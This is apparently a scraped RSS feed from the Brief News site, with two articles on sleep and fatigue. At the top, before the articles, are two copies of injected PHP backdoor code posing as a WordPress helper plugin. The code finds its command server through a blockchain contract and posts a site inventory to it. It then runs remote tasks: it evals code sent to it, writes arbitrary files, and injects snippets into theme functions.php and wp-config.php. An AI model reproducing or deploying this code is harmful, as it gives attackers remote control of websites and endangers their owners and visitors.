// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Exhausted – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 05 Jun 2019 13:04:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Exhausted – Brief News https://briefnews.eu 32 32 Sleeping Too Much but Still Exhausted? Why You Can’t Sleep Well At Night https://briefnews.eu/sleeping-too-much-but-still-exhausted-why-you-cant-sleep-well-at-night/ https://briefnews.eu/sleeping-too-much-but-still-exhausted-why-you-cant-sleep-well-at-night/#respond Fri, 10 Aug 2018 05:40:57 +0000 http://briefnews.eu/sleeping-too-much-but-still-exhausted-why-you-cant-sleep-well-at-night/ Can’t get yourself out of the ‘laze zone’? Simple, your aunt would say – you need more sleep. Well, what if you’ve been sleeping more than usual, and still can’t shake off that heavy sense of fatigue?You’re not alone.Scientific research amply showcases that fatigue is rooted in many core factors, and sleep deprivation is merely one of them. Fatigue, whatever its cause might be for you, will take your life for a toss.National Highway Traffic Safety Association (NHTSA) estimates that 7% of road accidents are caused because of fatigue.((New Scientist: Tired All the Time)) Also, 1 in 5 Americans are affected by fatigue, the financial impact (lower workplace productivity) of which is estimated at $ 100 billion annually.On a personal level, fatigue makes you cranky, demotivated and unproductive. Thankfully, there’s a lot you can do to improve the real quality of your sleep, keep fatigue and tiredness at bay, and get more done, every day.

Are you sleeping for the right duration?

The general belief that adults need 8 hours of sleep to maintain healthy lifestyles is, well, a bit of an oversimplification. 8 hours – that’s what works for most people. It’s reasonably likely that it won’t work for you.During sleep, the average human goes through multiple sleep cycles, of primarily two kinds of sleep – non-REM (shallow sleep) and REM (Rapid Eye Movement) or deep sleep. It’s better to wake up between two sleep cycles rather than in the middle of a cycle. The duration of a sleep cycle for a human varies between 90 and 110 minutes.It’s easy to understand why 8 hours could be lower or higher than your ideal sleeping duration. Use a sleep tracker application to measure your ideal sleep duration. Or, keep on adjusting your sleep durations by 15 minutes (continue with a duration for a week) until you find your sweet sleep duration.Heard the phrase ‘body clock’? It’s closely tied to your sleep cycles and how you can tune your body to wake between REM sleep cycles. More on this, and many more methods for improving sleep quality, in the next sections.

How to tune your body’s internal clock

1. Follow sleep-discipline

Sleep researchers agree – sleeping and waking at the same time, even during weekends, helps set a sort of internal clock in your body, scientifically known as circadian rhythm. This rhythm affects your body, your brain, and your hormones, regulating when you feel like sleeping or waking up.When you regulate the circadian rhythm, your body becomes naturally tuned to the idea of expecting sleep at a certain hour, and to wake up fresh and eager at a specific hour in the morning.Try to follow this clock as regularly as possible because it takes time for it to take control of your sleep routine.Natural light has an important role to play in setting the internal clock on a healthy sleep-wake cycle. If you can ask your partner to part the curtains, so that daylight seeps into your room before you awake, nothing like it.Also, make it a point to take sun-breaks during the day (at least twice) if you work mostly within the confined of a closed office space.

2. Reduce exposure to blue light after evenings

Exposure to a lot of light can have negative effects on your ability to sleep well. Light impacts the body’s circadian rhythm, makes the brain believe that it’s daylight, and regulates body hormones such that the amount of melatonin is reduced, which in turn reduces the body’s inclination to sleep.Blue light is the worst offender, and sadly, that’s what comes out of all your electronic devices.Because of the modern lifestyle, it might not be entirely practical for you to let go of electronic devices after evening. Try these options:

  • Use an app such as f.lux, which blocks out blue light from electronic device screens
  • Use spectacles with lenses that block out blue light
  • Reduce the brightness of your laptop and television screens
  • Try out screen protectors to filter out the harsh light, if you just can’t keep devices out of your pre-sleep routine

3. Avoid consuming chemicals that impede sleep

Nicotine, caffeine, alcohol – all these are known defaulters, as far as your sleep quality is concerned.Caffeine, for instance, is a stimulant that is almost certain to keep you awake. It’s not only in coffee; caffeine is present in tea, colas, chocolates, and even some pain reliever medicines. Smokers should refrain from consuming tobacco products post evening.People believe that alcohol helps them relax and fall asleep quicker than otherwise. This may be true, but the implications are bad for sleep quality. Alcohol makes you wake up more often during the night.Limit your alcohol consumption to less than two drinks, if you are a regular drinker. Or, better still, don’t drink at all!

4. Nurture a healthy pre-sleep regimen

The transition from your wakeful hours to sleep hours can massively improve sleep quality and help you wake up fresh and alert. Try these options:

  • Engage yourself with a good book
  • Stay away from your electronic gadgets for at least one hour prior to sleep
  • Try out relaxation exercises to help your brain stop overthinking on personal problems
  • If you’re troubled by thoughts, write them down and put the notes away
  • Take a bath because sudden change in body temperature induces drowsiness
  • Instead of coffee, drink a cup or two of warm herbal tea

5. Make your bedroom’s environment conducive for sleep

Improper room ambience can not only delay the onset of sleep, but also cause you to wake often. On the contrary, salubrious room environment promotes sound sleep.Here are some tips:

  • Maintain a dark, quiet and cool environment
  • Use high quality curtains that block out outside light
  • Use a white noise appliance to shut off your brain from paying attention to outside noises
  • Use an eye mask if you’re unable to ensure complete darkness (because of your partner’s preferences, for instance)
  • Keep the room well ventilated, and the temperature regulated between 60 and 75°F
  • Get yourself a comfortable mattress, and change the bed linen often
  • Keep the wall-clock’s face away from yourself, and replace it with a quieter clock if the tick-tock is too loud

6. Use power naps judiciously, if at all

The idea of short day-time naps works well for many individuals. However, if you’ve been waking up groggy in spite of sleeping adequately, chances are that your regular power naps are to blame.In a research study, participants who took power naps felt sleepy throughout the day, after taking their daytime naps.

7. Understanding your meds and their impact on sleep

The meds you take could have a major impact on how well you sleep and how well you wake up. Here are a couple of important pointers to keep in mind:Avoid sleeping pills. Your sleep issues don’t warrant the use of sleeping pills. These medicines are known to interfere with your deep sleep (REM) and create several long-term health problems. A 2012 study published in BMJ Open goes as far as suggesting that people taking sleeping pills are at 4 times likelier to die as compared to those who don’t take these pills!((BMJ Journals: Hypnotics’ association with mortality or cancer: a matched cohort study))Know when to take your medicines. Some medicines tend to make you feel drowsy. Well, drowsiness isn’t the equivalent of sleepy.So, refrain from deciding based on your opinions. Instead, consult with your doctor, as to when you should take specific medicines, if you are also facing sleep issues. Even if you are taking beauty-related medicines, or weight loss medicines.

8. Good food habits for good sleep

Your dietary habits have a strong role to play in deciding how well you sleep and how fresh you are on waking. Here are some dependable food practices:Never skip your breakfast. Without fuel, your body will be lethargic, and you’ll just carry it through your sleep and to the next day. Also, skipping breakfast invariably causes overeating during dinners, which gives your body a tough time trying to find rejuvenating sleep.Eat judiciously after evenings. Research shows that people who eat reasonably fulfilling dinners after 8.30 pm have trouble digesting the food. Their body keeps on working to digest the food even while they’re asleep, which takes the sleep quality for a toss. Try as hard as possible to eat light and early dinners.Eat melatonin-rich food. Melatonin is the hormone that regulates sleep and wakefulness in humans. Your lifestyle and diet choices could help you build up melatonin, which in turn induces sleep. Tart cherry juice is a time tested, science backed, and proven effective drink to consume a couple of hours prior to sleeping.

The bottom line

Sleeping too much is not enough. Sleeping adequately and waking up with a feeling of enthusiasm and freshness is more important.The quality of your life depends on how you feel throughout the day, and that’s where you need to realize your responsibility of taking your sleep seriously.So if you find yourself sleeping too much but still feeling exhausted, it’s time to work on your daily habits and tune your internal body clock.

READ MORE: The Beginners Guide to Powernaps: How to Use Naps to Improve Your Health, Productivity & Focus

]]> https://briefnews.eu/sleeping-too-much-but-still-exhausted-why-you-cant-sleep-well-at-night/feed/ 0 The Real Reason You Feel Exhausted (And How to Be Energetic Again) https://briefnews.eu/the-real-reason-you-feel-exhausted-and-how-to-be-energetic-again/ https://briefnews.eu/the-real-reason-you-feel-exhausted-and-how-to-be-energetic-again/#respond Tue, 15 May 2018 05:52:53 +0000 http://briefnews.eu/the-real-reason-you-feel-exhausted-and-how-to-be-energetic-again/

“I’m exhausted.” Do you say this all the time?

Fatigue shows up in many ways including pure exhaustion, the inability to concentrate, anger, frustration and behavioral issues, memory problems, decreased work performance, and slower reaction times. Fatigue has also been linked to medical problems including obesity, hypertension, depression, diabetes, as well as increased automobile accidents.

We attempt to combat fatigue with coffee, sugar, energy drinks, vitamins and a variety of other products that claim to increase our energy and stamina. But what if your exhaustion is trying to tell you something?

If you’re getting enough sleep and you’re still feeling exhausted, it’s time to stop, take a step back and look at what else is contributing to your exhaustion.

As a life-coach and consultant with a diverse background, I like to look at things from a holistic view – from multiple levels – including your body, mind and spirit.

So before you reach for that next cup of coffee, the 3pm sugary snack or the toxic energy drink, let’s look at some other reasons why you might be tired all the time, and more importantly, what you can do about it.

Here are 11 potential reasons why you’re exhausted even when get enough rest, and what you can do about it.

1. You are out of alignment (mentally, emotionally or spiritually).

Essentially, you’re off track with who you are and what works for you. Maybe you’re unhappy, unfulfilled, stressed out or just plain bored with some areas of your life. You might be in a relationship that isn’t working, a job you can’t stand or a situation that drains your energy.

Think about a time in your life when you were in the flow, in the zone, and totally engaged and excited about what you were doing. How much sleep did you need then? Even after only a few hours, my guess is you probably found yourself jumping out of bed in the morning without an alarm clock, excited about embarking on the day.

On the flipside, think about a time in your life when you were in a relationship or job that zapped your energy. No matter how much sleep you got, you probably found it difficult to get out of bed in the morning and were tempted to hit that snooze button just a few more times.

